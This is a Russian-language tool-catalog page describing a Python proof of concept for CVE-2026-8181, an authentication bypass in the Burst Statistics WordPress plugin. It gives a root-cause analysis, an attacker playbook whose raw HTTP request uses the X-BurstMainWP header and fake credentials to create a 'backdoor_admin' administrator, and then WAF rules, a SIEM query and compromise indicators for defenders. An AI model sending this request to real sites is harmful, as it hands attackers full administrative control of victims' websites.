Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8181-PoC — Python PoC для CVE-2026-8181, критический обход аутентификации в плагине Burst Statistics для WordPress. Включает автоматизацию эксплуатации, массовое сканирование и создание учетной записи администратора для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/squamity/cve-2026-8181-poc
Оборонительные ИнструментыАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
squamity/cve-2026-8181-poc

CVE-2026-8181-PoC

Python PoC для CVE-2026-8181, критический обход аутентификации в плагине Burst Statistics для WordPress. Включает автоматизацию эксплуатации, массовое сканирование и создание учетной записи администратора для авторизованного тестирования безопасности.

Репозиторий
112 месяцев назадЕщё не проверено
Поделиться

🚨 CVE-2026-8181 | Обход аутентификации Burst Statistics

CVE-2026-8181 CVSS WordPress Plugin Affected Versions Actively Exploited

[!CAUTION] КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ: Эта уязвимость позволяет неаутентифицированному удалённому злоумышленнику обойти аутентификацию и получить полные привилегии администратора на целевом сайте WordPress, просто внедрив пользовательский HTTP-заголовок. Данный CVE в настоящее время активно эксплуатируется в реальных атаках.


📑 Содержание

  1. Краткое описание
  2. 🔬 Подробный анализ: первопричина
  3. ⚔️ Пособие для атакующего: эксплуатация
  4. 🛡️ Пособие для защиты: обнаружение и смягчение
  5. 🛠️ Использование PoC-инструмента
  6. Ссылки и отказ от ответственности

📖 Краткое описание

CVE-2026-8181 — критическая уязвимость обхода аутентификации, затрагивающая плагин Burst Statistics для WordPress (версии 3.4.0 – 3.4.1.1). Ошибка находится в интеграции с MainWP-прокси плагина. Из-за некорректной проверки паролей приложений во время раннего хука plugins_loaded плагин ошибочно предоставляет административный контекст REST API-запросам, содержащим заголовок X-BurstMainWP: 1, даже если в запросе отсутствуют действительные учётные данные.

Таким образом, простой неаутентифицированный HTTP-запрос превращается в полный захват административных прав, обходя все стандартные механизмы аутентификации WordPress.


🔬 Подробный анализ: первопричина

Чтобы понять, как простой заголовок даёт ключи от королевства, разберём PHP-логику в обработчике аутентификации плагина.

Уязвимый поток логики

Уязвимость возникает из-за некорректной условной ветки в методе is_mainwp_authenticated() файла includes/Frontend/class-mainwp-proxy.php.

  1. Триггер: Плагин регистрирует init() на хуке plugins_loaded с приоритетом 9. Это слишком рано в жизненном цикле WordPress.
  2. Хук: Когда запрос содержит заголовок X-BurstMainWP: 1, метод has_admin_access() делегирует аутентификацию методу is_mainwp_authenticated().
  3. Основной вызов: Метод читает заголовок Authorization и передаёт учётные данные в ядро WordPress — функцию wp_authenticate_application_password().
  4. Фатальная ошибка (CWE-287): Поскольку REST API ещё не установил фильтр application_password_is_api_request в true (из-за раннего выполнения хука), функция ядра возвращает null вместо объекта WP_Error.
  5. Обход: Плагин проверяет только is_wp_error( $user ). Поскольку null не является WP_Error, защита пропускается.
  6. Захват: Код попадает в небезопасную ветку, вызывая wp_set_current_user() с предоставленным злоумышленником именем пользователя, мгновенно повышая уровень запроса до полного административного контекста.

Псевдокод

// Упрощённое представление уязвимого кода в Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );

if ( is_wp_error( $user ) ) {
    return false; // Корректно обрабатывает явные ошибки аутентификации
}

// 🚨 ФАТАЛЬНАЯ ОШИБКА 🚨
// Если пароль приложения не указан или запрос API ещё не помечен,
// wp_authenticate_application_password возвращает NULL.
// Код не проверяет NULL!
if ( $user === null ) {
    // Вместо безопасного отказа попадает в эту небезопасную ветку:
    $admin_user = get_user_by( 'login', $attacker_supplied_username );
    wp_set_current_user( $admin_user->ID ); // BOOM: Предоставлен контекст администратора!
    return true;
}

⚔️ Пособие для атакующего: эксплуатация

Этот раздел предназначен для Red Team и уполномоченных пентестеров.

Цепочка атаки

  1. Разведка: Определите, что цель использует Burst Statistics <= 3.4.1.1 (например, через /wp-content/plugins/burst-statistics/readme.txt).
  2. Перечисление пользователей: Найдите действительное имя пользователя-администратора. REST API WordPress часто раскрывает их через GET /wp-json/wp/v2/users. Если заблокировано, используйте трюк с архивом автора: /?author=1.
  3. Формирование полезной нагрузки: Создайте HTTP POST-запрос для создания нового пользователя: POST /wp-json/wp/v2/users.
  4. Внедрение заголовка: Внедрите магические заголовки:
    • X-BurstMainWP: 1
    • Authorization: Basic <base64(admin_username:fake_password)>
  5. Выполнение: Сервер обрабатывает запрос, попадает в ошибочную проверку null и повышает запрос до контекста администратора. Создаётся новый пользователь-администратор.

Пример сырого HTTP-запроса

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json

{
  "username": "backdoor_admin",
  "password": "SuperSecretPassword123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

[!IMPORTANT] Важное замечание об окружении: Для успешной эксплуатации заголовок Authorization должен достигать PHP.

  • Nginx / LiteSpeed / Apache с человеко-понятными ссылками (Pretty Permalinks): Заголовок передаётся. Эксплойт УСПЕШЕН.
  • Apache с обычными ссылками (Plain Permalinks, по умолчанию): Заголовок молча отбрасывается веб-сервером. Эксплойт НЕУДАЧЕН.

🛡️ Пособие для защиты: обнаружение и смягчение

Этот раздел предназначен для Blue Team, SOC-аналитиков и системных администраторов.

🕵️ Стратегии обнаружения

1. Правила Web Application Firewall (WAF)

Заблокируйте или отслеживайте конкретный заголовок на границе сети.

Правило для ModSecurity / OWASP CRS:

SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
    "id:1000001, \
    phase:1, \
    deny, \
    status:403, \
    log, \
    msg:'CVE-2026-8181: Попытка обхода аутентификации Burst Statistics', \
    tag:'CVE-2026-8181', \
    severity:'CRITICAL'"

Пользовательское правило Cloudflare WAF:

(http.request.headers["X-BurstMainWP"] eq "1")


2. Анализ журналов и SIEM-запросы

Проверьте журналы веб-сервера на наличие заголовка в сочетании с созданием пользователей через REST API.

Запрос для Splunk / ELK:

index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0

3. Индикаторы компрометации (IoC)

При подозрении на взлом ищите следующие признаки пост-эксплуатации:

  • Новые пользователи-администраторы: Проверьте таблицу wp_users на наличие учётных записей, созданных через REST API с ролью administrator.
  • Подозрительные плагины: Проверьте wp-content/plugins/ на несанкционированные загрузки (часто веб-шеллы, замаскированные под легитимные плагины).
  • Изменённые файлы: Проверьте несанкционированные изменения в wp-content/themes/ или в основных файлах.

🛡️ Смягчение и восстановление

[!IMPORTANT] Требуется немедленное действие: Если вы используете уязвимую версию, немедленно примените одно из следующих смягчающих мер.

Скачать инструмент